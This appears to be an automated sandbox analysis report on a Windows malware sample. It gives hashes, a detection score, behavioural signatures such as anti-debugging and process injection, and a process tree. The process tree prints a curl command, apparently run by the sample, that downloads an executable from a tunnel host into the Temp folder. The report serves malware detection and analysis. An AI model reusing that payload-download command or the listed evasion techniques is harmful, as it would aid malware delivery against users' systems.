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Windows
Analysis Report
aLsxeH29P2.exe
Overview
General Information
Sample name: | aLsxeH29P2.exerenamed because original name is a hash value |
Original sample name: | 8bd6a723809e23d1c14d7ff528e16e996a3b0b0432e2b7feb4eb5db52c542173(1).exe |
Analysis ID: | 1573003 |
MD5: | 43f63dde42af90b34befb25ca46e33d7 |
SHA1: | 2ad1824df97e3d1275521faed88ede96fe41e035 |
SHA256: | 8bd6a723809e23d1c14d7ff528e16e996a3b0b0432e2b7feb4eb5db52c542173 |
Tags: | exeloclx-iouser-JAMESWT_MHT |
Infos: | |
Detection
Score: | 60 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Multi AV Scanner detection for submitted file
Creates HTML files with .exe extension (expired dropper behavior)
AV process strings found (often used to terminate AV products)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Extensive use of GetProcAddress (often used to hide API calls)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
JA3 SSL client fingerprint seen in connection with other malware
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: Usage Of Web Request Commands And Cmdlets
Classification
- System is w10x64
- aLsxeH29P2.exe (PID: 7352 cmdline:
"C:\Users\ user\Deskt op\aLsxeH2 9P2.exe" MD5: 43F63DDE42AF90B34BEFB25CA46E33D7) - aLsxeH29P2.exe (PID: 7368 cmdline:
"C:\Users\ user\Deskt op\aLsxeH2 9P2.exe" MD5: 43F63DDE42AF90B34BEFB25CA46E33D7) - curl.exe (PID: 7384 cmdline:
curl https ://haxerr. eu.loclx.i o/h4xt00l. exe --outp ut C:\User s\user\App Data\Local \Temp\h4xt 00l.exe MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1) - conhost.exe (PID: 7392 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cleanup
⊘No configs have been found
⊘No yara matches
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
⊘No Suricata rule has matched
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Show All Signature Results
AV Detection |
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